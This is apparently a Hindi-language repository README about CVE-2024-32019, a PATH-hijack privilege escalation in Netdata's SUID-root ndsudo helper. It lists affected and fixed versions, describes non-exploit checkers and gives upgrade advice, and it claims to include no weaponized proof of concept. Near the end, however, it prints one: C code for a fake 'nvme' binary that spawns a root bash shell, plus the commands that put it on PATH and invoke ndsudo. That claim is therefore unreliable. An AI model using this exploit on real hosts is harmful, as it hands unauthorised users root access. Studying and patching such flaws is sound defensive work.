
Netdata ndsudo SUID PATH विशेषाधिकार उन्नयन जोखिम की CVE-2024-32019 के लिए जाँच करता है और हथियारीकृत शोषण के बिना पैच को मान्य करता है।
ndsudo स्थानीय विशेषाधिकार वृद्धिNetdata का ndsudo सहायक (जो setuid root के रूप में इंस्टॉल होता है) यह प्रतिबंधित करता है कि वह कौन-से कमांड चलाएगा, लेकिन उन कमांडों को कॉलर के PATH का उपयोग करके हल करता है। प्रभावित संस्करणों में, कोई स्थानीय उपयोगकर्ता PATH में पहले एक दुर्भावनापूर्ण बाइनरी रख सकता है और ndsudo उसे root विशेषाधिकारों के साथ निष्पादित कर देगा। Netdata 1.45.3 और 1.45.0-169 में पैच किया गया।
प्रभावित: >= 1.44.0-60, < 1.45.0-169 और >= 1.45.0, < 1.45.3 (अपस्ट्रीम सलाह के अनुसार)।
ठीक किया गया: 1.45.3 (स्थिर), 1.45.0-169 (नाइटली)। GitHub
उन सिस्टमों पर स्थानीय root तक विशेषाधिकार वृद्धि जहाँ ndsudo SUID के रूप में इंस्टॉल है और उपयोगकर्ता इसे आमंत्रित कर सकता है (आमतौर पर netdata समूह के सदस्य)। NVDGitHub
ndsudo SUID-root है और nvme-list, nvme-smart-log, आदि जैसे सबकमांडों को श्वेतसूचीबद्ध करता है।
यह बाहरी निष्पादन योग्य फ़ाइलों को नाम से कॉल करता है (जैसे, nvme), जिन्हें पूर्ण पथ या सुरक्षित, निश्चित खोज का उपयोग करने के बजाय PATH के माध्यम से हल किया जाता है।
यदि कोई लिखने योग्य निर्देशिका सिस्टम पथों से पहले आती है, तो एक हमलावर एक समान दिखने वाली बाइनरी पेश कर सकता है जिसे root के रूप में निष्पादित किया जाएगा। GitHub
इस रिपॉजिटरी में गैर-शोषण जाँचकर्ता शामिल हैं जो:
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo (या जहाँ भी इंस्टॉल हो) को SUID/स्वामित्व के लिए निरीक्षण करते हैं।
सामान्य सिस्टम पथों से पहले लिखने योग्य निर्देशिकाओं के लिए PATH की गणना करते हैं।
श्वेतसूचीबद्ध सबकमांड नामों की उपस्थिति की पुष्टि करते हैं जिन्हें ndsudo निष्पादित करने का प्रयास कर सकता है।
वैकल्पिक रूप से ndsudo --test <subcommand> चलाते हैं ताकि हल किए गए कमांड को निष्पादित किए बिना प्रिंट किया जा सके (सावधानी के साथ उपयोग करें, पहले कोड पढ़ें)। GitHub
⚠️ कोई हथियारबंद PoC शामिल नहीं है। यह प्रोजेक्ट रक्षकों और शोधकर्ताओं के लिए है ताकि वे जिम्मेदारी से जोखिम का आकलन कर सकें और पैच को मान्य कर सकें।
Netdata को 1.45.3 (स्थिर) या 1.45.0-169 (नाइटली) में अपग्रेड करें।
रक्षा-में-गहराई के उपाय के रूप में, SUID सहायकों में पूर्ण पथ या स्वच्छ न्यूनतम PATH को प्राथमिकता दें; अनावश्यक ndsudo पहुँच देने से बचें। GitHubwiz.io
nvme.c के रूप में सहेजें:#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c - nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATH को संशोधित करेंexport PATH=/tmp/fakebin:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
NVD: CVE-2024-32019। NVD
Netdata सलाह (GHSA-pmhq-4cxq-wj93)। GitHub
Wiz सारांश। wiz.io
Snyk लेख। Vulnerability Guide
MITRE/CVE सूची। CVE